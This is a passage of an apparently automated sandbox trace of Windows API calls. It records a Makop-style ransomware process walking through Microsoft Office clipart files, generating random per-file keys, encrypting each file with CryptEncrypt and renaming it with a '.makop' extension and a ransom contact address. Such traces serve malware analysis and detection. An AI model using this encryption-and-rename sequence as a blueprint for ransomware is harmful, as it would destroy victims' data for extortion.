lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0110.728] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0110.728] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0110.729] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0110.729] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0110.729] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.729] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2856, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2856, lpOverlapped=0x0) returned 1 [0110.730] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2860, dwBufLen=0x2860 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2860) returned 1 [0110.730] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.731] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2860, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2860, lpOverlapped=0x0) returned 1 [0110.731] CryptDestroyKey (hKey=0x48c7128) returned 1 [0110.731] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2934, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.731] SetEndOfFile (hFile=0xf0) returned 1 [0110.738] GetProcessHeap () returned 0x48a0000 [0110.738] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0110.738] GetProcessHeap () returned 0x48a0000 [0110.739] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0110.739] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 109 [0110.739] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0110.741] CloseHandle (hObject=0xf0) returned 1 [0110.741] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x606ee510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7992, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00117_.WMF", cAlternateFileName="")) returned 1 [0110.741] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 63 [0110.741] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0110.744] GetProcessHeap () returned 0x48a0000 [0110.744] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0110.744] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0110.745] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0110.745] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0110.749] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0110.749] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0110.749] GetProcessHeap () returned 0x48a0000 [0110.749] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0110.749] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0110.749] CryptDestroyKey (hKey=0x48c7128) returned 1 [0110.749] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0110.750] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0110.750] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0110.750] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0110.750] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0110.750] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0110.751] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0110.751] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0110.751] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.751] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7992, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7992, lpOverlapped=0x0) returned 1 [0110.834] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x79a0, dwBufLen=0x79a0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x79a0) returned 1 [0110.835] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.835] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x79a0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x79a0, lpOverlapped=0x0) returned 1 [0110.836] CryptDestroyKey (hKey=0x48c7128) returned 1 [0110.836] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7a74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.836] SetEndOfFile (hFile=0xf0) returned 1 [0110.843] GetProcessHeap () returned 0x48a0000 [0110.843] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0110.843] GetProcessHeap () returned 0x48a0000 [0110.843] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0110.844] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0110.844] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0110.845] CloseHandle (hObject=0xf0) returned 1 [0110.846] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6a43700, ftCreationTime.dwHighDateTime=0x1bd4aee, ftLastAccessTime.dwLowDateTime=0x606ee510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd6a43700, ftLastWriteTime.dwHighDateTime=0x1bd4aee, nFileSizeHigh=0x0, nFileSizeLow=0x2040, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00121_.WMF", cAlternateFileName="")) returned 1 [0110.846] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 63 [0110.846] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0110.850] GetProcessHeap () returned 0x48a0000 [0110.850] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0110.850] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0110.851] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0110.851] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0110.851] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0110.851] GetProcessHeap () returned 0x48a0000 [0110.851] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0110.851] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0110.851] CryptDestroyKey (hKey=0x48c7128) returned 1 [0110.851] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0110.857] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0110.857] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0110.857] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0110.858] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0110.858] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0110.858] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0110.858] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0110.858] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.858] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2040, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2040, lpOverlapped=0x0) returned 1 [0110.860] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2040, dwBufLen=0x2040 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2040) returned 1 [0110.860] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.860] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2040, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2040, lpOverlapped=0x0) returned 1 [0110.860] CryptDestroyKey (hKey=0x48c7128) returned 1 [0110.860] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2114, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.860] SetEndOfFile (hFile=0xf0) returned 1 [0110.869] GetProcessHeap () returned 0x48a0000 [0110.870] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0110.870] GetProcessHeap () returned 0x48a0000 [0110.870] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0110.870] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0110.870] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0110.871] CloseHandle (hObject=0xf0) returned 1 [0110.872] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x73bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00234_.WMF", cAlternateFileName="")) returned 1 [0110.872] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF") returned 63 [0110.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0110.872] GetProcessHeap () returned 0x48a0000 [0110.872] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0110.873] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0110.873] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0110.873] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0110.878] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0110.878] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0110.878] GetProcessHeap () returned 0x48a0000 [0110.879] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0110.879] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0110.879] CryptDestroyKey (hKey=0x48c7128) returned 1 [0110.879] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0110.879] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0110.879] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0110.879] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0110.880] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0110.880] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0110.880] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0110.881] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0110.881] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.881] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x73bc, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x73bc, lpOverlapped=0x0) returned 1 [0110.883] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x73c0, dwBufLen=0x73c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x73c0) returned 1 [0110.883] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.883] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x73c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x73c0, lpOverlapped=0x0) returned 1 [0110.884] CryptDestroyKey (hKey=0x48c7128) returned 1 [0110.884] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7494, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.884] SetEndOfFile (hFile=0xf0) returned 1 [0110.891] GetProcessHeap () returned 0x48a0000 [0110.891] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0110.891] GetProcessHeap () returned 0x48a0000 [0110.891] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0110.891] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0110.892] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0110.893] CloseHandle (hObject=0xf0) returned 1 [0110.894] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf650000, ftCreationTime.dwHighDateTime=0x1bd4b31, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf650000, ftLastWriteTime.dwHighDateTime=0x1bd4b31, nFileSizeHigh=0x0, nFileSizeLow=0xa82, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD00255_.WMF", cAlternateFileName="")) returned 1 [0110.894] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF") returned 63 [0110.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00255_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0110.896] GetProcessHeap () returned 0x48a0000 [0110.896] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0110.896] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0110.896] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0110.896] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0110.901] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0110.901] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0110.901] GetProcessHeap () returned 0x48a0000 [0110.901] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0110.901] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0110.901] CryptDestroyKey (hKey=0x48c7128) returned 1 [0110.901] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0110.901] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, 